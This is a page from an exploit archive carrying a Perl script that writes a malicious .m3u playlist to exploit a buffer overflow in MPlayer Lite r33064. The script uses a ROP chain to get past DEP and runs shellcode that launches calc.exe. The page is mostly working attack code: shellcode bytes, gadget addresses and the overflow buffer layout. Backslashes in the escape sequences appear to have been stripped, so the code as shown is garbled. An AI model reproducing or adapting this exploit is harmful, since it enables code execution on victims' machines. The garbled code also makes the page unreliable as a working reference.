MPlayer Lite r33064 m3u Buffer Overflow Exploit (DEP Bypass)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MPlayer Lite r33064 m3u Buffer Overflow Exploit (DEP Bypass)
# Published : 2011-07-24
# Author :
# Previous Title : F-Secure Multiple Products ActiveX SEH Overwrite Vulnerability (Heap Spray)
# Next Title : MS Office 2010 RTF Header Stack Overflow Vulnerability Exploit

#!/usr/bin/perl
#
#[+]Exploit Title: MPlayer Lite r33064 m3u Buffer Overflow Exploit(DEP BYPASS)
#[+]Date: 2472011
#[+]Author: C4SS!0 and h1ch4m
#[+]Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayer_Release/Revision%2033064/mplayer_lite_r33064.7z/download
#[+]Version: Lite 33064
#[+]Tested On: WIN-XP SP3 x86 Brazilian Portuguese
#[+]CVE: N/A
#
#Created BY C4SS!0 G0M3S
#E-mail Louredo_@hotmail.com
#Site net-fuzzer.blogspot.com
#
#

use strict;
use warnings;
use IO::File;

print q
{

                Created BY C4SS!0 G0M3S
		Site net-fuzzer.blogspot.com
		E-mail Louredo_@hotmail.com
			
};
sleep(2);

my $shellcode = 
"xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1".
"x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30".
"x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa".
"x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96".
"x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b". #Shellcode WinExec "Calc.exe"
"xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a". #Badchars "x00x20x0dx0a"
"xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83".
"x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98".
"xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61".
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05".
"x7fxe8x7bxca";



my $rop = "BBBB";
$rop .= "CCCD";
$rop .= pack('V',0x6496E0BB);# POP EDI # RETN   
$rop .= pack('V',0x6D7CBBE4);# Address to kernel32.VirtualProtect

##############################################ROP EXPLOIT######################################################################
$rop .= pack('V',0x649abc7b); # PUSH ESP # POP EBX # POP ESI # RETN  
$rop .= "BBBB"; #Junk
$rop .= pack('V',0x6B0402A9); # MOV EAX,EBX # POP EBX # RETN
$rop .= "x01x42x42x42"; #Junk
$rop .= pack('V',0x6AED7BAF); # POP ECX # RETN 
$rop .= "xffxffxffxff";
$rop .= pack('V',0x6AD85749); # POP EBX # RETN
$rop .= "x40x40x40x40";
$rop .= pack('V',0x6ADB3A50); # INC ECX # ADD AL,5B # RETN
$rop .= pack('V',0x6ae00bf0); # ADD CL,BL # RETN
$rop .= pack('V',0x6AD85749); # POP EBX # RETN
$rop .= "x02x42x42x42";

$rop .= pack('V',0x6afa6dd8); # MOV EAX,40 # RETN 
$rop .= pack('V',0x6b0817a0); # ADD AL,89 # RETN 
$rop .= pack('V',0x6b0817a0); # ADD AL,89 # RETN 

$rop .= pack('V',0x6ADA31E1); # ADD AH,BL # RETN  BL = 01
$rop .= pack('V',0x6B0B7A46); # MOV EDX,EAX # MOV EAX,EDX # RETN
$rop .= pack('V',0x649abc7b); # PUSH ESP # POP EBX # POP ESI # RETN
$rop .= "GGGG"; #Junk

$rop .= pack('V',0x6B0B7A46); # MOV EDX,EAX # MOV EAX,EDX # RETN
$rop .= pack('V',0x64975830); # POP EAX # RETN
$rop .= pack('V',0x64975918);
$rop .= pack('V',0x649B11EC); # PUSHAD # RETN
##############################################ROP END HER###########################################################################

my $buf = "x41" x (4496-12);
$buf .= $rop;
$buf .= ("x90" x 10).$shellcode; #You have a good space for shellcode here :)
$buf .= "x41" x (5152-length($buf));
$buf .= "xebx0fxccxcc";
$buf .= pack('V',0x6497ab0c); # ADD ESP,17CC # POP EBX # POP ESI # POP EDI # POP EBP # RETN


$buf .= "x90" x 400;

print "tt[+]Creating M3U File...n";
sleep(1);
open(my $FILE,">Exploit.m3u") || die "**[x]Error:n$!n";
print $FILE "http:// ".$buf;
close($FILE);
print "tt[+]File Exploit.m3u Created with Successn";
sleep(1);